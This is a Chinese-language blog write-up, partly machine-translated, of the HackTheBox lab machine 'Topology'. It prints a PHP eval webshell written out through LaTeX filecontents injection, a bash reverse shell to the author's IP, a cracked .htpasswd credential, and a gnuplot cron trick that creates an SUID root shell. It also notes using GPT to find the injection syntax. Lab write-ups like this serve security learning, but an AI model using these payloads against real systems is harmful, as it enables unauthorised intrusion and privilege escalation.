HTB Topology WriteUp

Som3B0dy 于 2023-06-12 20:51:29 发布 1042 收藏
分类专栏： HackTheBox 文章标签： ubuntu linux 运维

本文链接：https://blog.csdn.net/qq_58869808/article/details/131176733

HackTheBox 专栏收录该内容
17 篇文章 10 订阅
订阅专栏

Nmap

```
┌──(root💀kali)-[~]
└─# nmap -A 10.10.11.217
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-11 22:39 EDT
Verbosity Increased to 1.
Stats: 0:01:12 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE: Active NSE Script Threads: 1 (1 waiting)
NSE Timing: About 93.75% done; ETC: 22:40 (0:00:00 remaining)
Verbosity Increased to 2.
Completed NSE at 22:40, 7.32s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:40
Completed NSE at 22:40, 0.00s elapsed
Nmap scan report for localhost (10.10.11.217)
Host is up (0.18s latency).
Scanned at 2023-06-11 22:39:04 EDT for 73s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 dcbc3286e8e8457810bc2b5dbf0f55c6 (RSA)
|   256 d9f339692c6c27f1a92d506ca79f1c33 (ECDSA)
|_  256 4ca65075d0934f9c4a1b890a7a2708d7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Miskatonic University | Topology Group
|_http-server-header: Apache/2.4.41 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
```

经典22 和80 端口
image.png
添加/etc/hosts文件
image.png

image.png
网页上发现别的子域名
image.png

vhost 爆破

```
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/topology]
└─# gobuster vhost -u http://topology.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 1
```

这里爆破到了一个dev.topology.htb的域名

latex.topology.htb

image.png
这个域名下面的应用可以利用laTex表达式生成pdf文件

比如输入 **frac{x+5}{y-3}**
image.png
image.png
就生成了对应的pdf图片，起初很懵逼不知道该怎么做 后来搜着搜着看到了

Refer-HackTrick: https://book.hacktricks.xyz/pentesting-web/formula-doc-latex-injection#latex-injection
Refer-github: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX %20Injection
exists laTex expression injection

Try the simplest file contains
image.png

image.png
Found to be banned

Push gpt to get latex syntax

image.png
Discover

```
\begin{filecontents}{myfile.txt}
Hello, World!
\end{filecontents}
```

This syntax can be written into a file, and the site is written in php. Try to write a horse

```
\begin{filecontents}{someb0dy.php}
<?php @eval($_POST['cmd']); ?>
\end{filecontents}
```

url-encoded

```
%5Cbegin%7Bfilecontents%7D%7Bsomeb0dy.php%7D%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%5Cend%7Bfilecontents%7D
```

image.png
image.png

But I found that it didn't seem to be written successfully, I couldn't write it in for a long time -_-, continue to spur
image.png

Modified webshell

```
\begin{filecontents*}{someb0dy1.php}
<?php @eval($_POST['cmd']); ?>
\end{filecontents*}
```

url-encoded

```
%5Cbegin%7Bfilecontents%2A%7D%7Bsomeb0dy1.php%7D%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%5Cend%7Bfileconter                %7D
```

image.png
I finally wrote it in, I wrote the webshell for a day - I got it!!! Old 6
image.png

rebound shell

image.png

```
bash -i >& /dev/tcp/10.10.16.8/4444 0>&1
```

image.png
Got a shell with www-data user rights

/var/www/dev/.htpasswd
here looks like a password file
image.png
vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0
try to decrypt
image.png

image.png

username	password
vdaisley	calculus20

dev.topology.htb

image.png

image.pngimage.png
try ssh login successfully

root

image.png
可以看到find /opt/gunplot -name *.plt -exec gunplot {}
这条命令 意思就是在/opt/gunplot这个目录下搜索 *.plt的文件
然后作为gunplot的参数执行
Refer:http://www.gnuplot.info/docs_4.2/node327.html
image.png
system “命令” 这样可以执行命令

```
-bash-5.0$ echo "system 'cp /bin/bash /tmp/someb0dy;chmod u+s /tmp/someb0dy'">someb0dy.plt
-bash-5.0$ cp someb0dy.plt /opt/gnuplot/someb0dy.plt
-bash-5.0$ ./someb0dy  -p
someb0dy-5.0# whaomi
root
```

HTB Topology WriteUp
HTB writeUp
复制链接
扫一扫

专栏目录
HTB
02-12
HTB
ROS *HTB* 优先限速
09-07
ROS *HTB* 优先限速，不错的脚本试试吧
*HTB*打靶日记：Stocker
01-15
hackthebox
追溯*HTB*
02-18
追溯*HTB*

*HTB*打靶日记：BroScience
01-10
hackthebox
htb
03-11
相关项目。
*HTB*单线策略测试
08-18
*HTB*单线策略测试,
ros脚本*HTB*+PCQ
01-05
对于ros来说是一个很好的限速脚本，网页游戏优先，看电影，12兆，20人，不卡，现在看到的是12m的，如果要修改，可以自己修改分配流量
ROS PCQ *HTB*.rar
10-23
ROS PCQ *HTB*ROS
htb：破解盒子的演练
01-31
htb 破解盒子的演练
ROS *HTB*+PCQ 脚本
03-07
ROS *HTB*+PCQ 脚本。很给力的一个脚本，本人已经试过，放心使用。
qos-*htb*-开源
05-03
qos-*htb*是您一直在等待的简单带宽管理解决方案，graphix制作了图表，您可以在一秒钟之内查看到底谁在消耗带宽！
linux *htb*流量控制使用实例
08-30
linux *htb*流量控制使用实例，及*htb*的实现原理，实现不同类型流量进行分类控制
armageddon-*htb*
04-01
armageddon-*htb*
HTB-Solutions
03-09
HTB-Solutions
HTB setup script-开源
05-02

report

HTB.init是从CBQ.init派生的Shell脚本，它允许在Linux上轻松设置基于*HTB*的流量控制。 *HTB*（分层令牌桶）是一种新的排队规则，它试图解决当前CBQ实施中的弱点。

ROS *HTB*+PCQ策略

10-31

本网吧正在使用的ROS *HTB*+PCQ策略，适合网吧使用，有问题直接加我QQ

2012_多线*HTB*

08-19

2012最新的多线*HTB* 技持5.X以上的ROS，标记准确，

*HTB*打靶日记：Investigation

01-27

hackthebox

HTB HTML Injection题目求解

最新发布

04-21

您好，关于*HTB*的HTML Injection题目，这是一个Web安全的题目，我们需要通过注入HTML实现攻击。首先需要找到注入点，一般是表单、输入框等可以输入富文本的地方。然后我们可以利用一些HTML标签和属性来实现攻击，比如Script标签、onerror属性等。 具体的攻击方式和注入点需要具体分析，建议您先了解一些Web安全的基础知识和常用的攻击技巧，例如XSS、SQL注入等。另外，参考一些CTF比赛或者相关的学习资料也可以帮助您更好地理解和掌握HTML注入攻击的方法。

“相关推荐”对你有帮助么？

- 非常没帮助
- 没帮助
- 一般
- 有帮助
- 非常有帮助

Please enter suggestions or fe 提交

Som3B0dy CSDN认证博客专家 CSDN认证企业博客
码龄2年 暂无认证

18
原创

1万+
周排名

4万+
总排名

4万+
访问

等级

301
积分

38
粉丝

report

38
获赞

108
评论

14
收藏

rookie medal
May Day Creation Medal
Creativity
Reader's Medal
私信
关注
Search blogger articles

热门文章

- HTB Busqueda WriteUP 5052
- HTB HARD 靶机 Cerberus WriteUp 5032
- MonitorsTwo WriteUp 4642
- HTB (hackthebox)Socket WriteUp ---- Season 靶机 4180
- HTB OnlyForYou WriteUp 3872

分类专栏

- HackTheBox 17篇

最新评论

- HTB Topology WriteUp

  weixin_42993127: 大佬用的ai不是官网的吧，能分享一个嘛

- HTB TwoMillion WriteUp

  Som3B0dy: pspy64 上去 和 linpeas都没有啥信息， admin 用户目录下面看到别人 传了这个cve - - 在结合这个邮件

- HTB TwoMillion WriteUp

  yaozp2n: CVE-2023-3086 这个漏洞是咋发现的

- HTB Jupiter靶机 WriteUp

  weixin_42993127: 在tmp/config.json 下载文件那里写上"file:///root/root.txt" 把root.txt 拿出来就行 哈哈哈哈

report

- HTB Jupiter靶机 WriteUp

  Som3B0dy: 这样好像是非预期解 官网修复 了

您愿意向朋友推荐“博客详情页”吗？

- 强烈不推荐
- 不推荐
- 一般般
- 推荐
- 强烈推荐

Please enter suggestions or fe 提交

最新文章

- HTB TwoMillion WriteUp
- HTB Jupiter靶机 WriteUp
- MonitorsTwo WriteUp

2023年13篇
2022年5篇

目录

目录

分类专栏

- HackTheBox 17篇

目录

评论 1

被折叠的 条评论 为什么被折叠? 到【灌水乐园】发言
查看更多评论
添加红包
祝福语

请填写红包祝福语或标题

红包数量
Please fill in the number of red 个

红包个数最小为10个

红包总金额
Please fill in the total amount (元

report

红包金额最低5元

余额支付
当前余额3.43元 前往充值 >
需支付：10.00元
取消 确定
下一步
知道了

成就一亿技术人!
After receiving it, you will automatically become a fan of the blogger and the red envelope owner . Rules

hope_wisdom
Red packets issued

Reward the author

Som3B0dy

Your encouragement will be the greatest motivation for my creation

$2 $4 $6 $10 $20 customize
Enter an integer from 1-500
Balance Payment (Balance: --)
scan code payment
Scan code to pay: ¥2
getting
scan code payment

Your balance is insufficient, please replace the scan code payment or recharge

Reward the author

Actual payment
Pay with balance
Click to reacquire
scan code payment
×
wallet balance 0

Deduction Description:

1. The balance is the virtual currency recharged in the wallet, and the payment amount will be deducted accord ɔ the ratio of 1:1.
2. The balance cannot be directly purchased and downloaded, but VIP, C-coin packages, paid columns and cours n be purchased.

balance recharge

report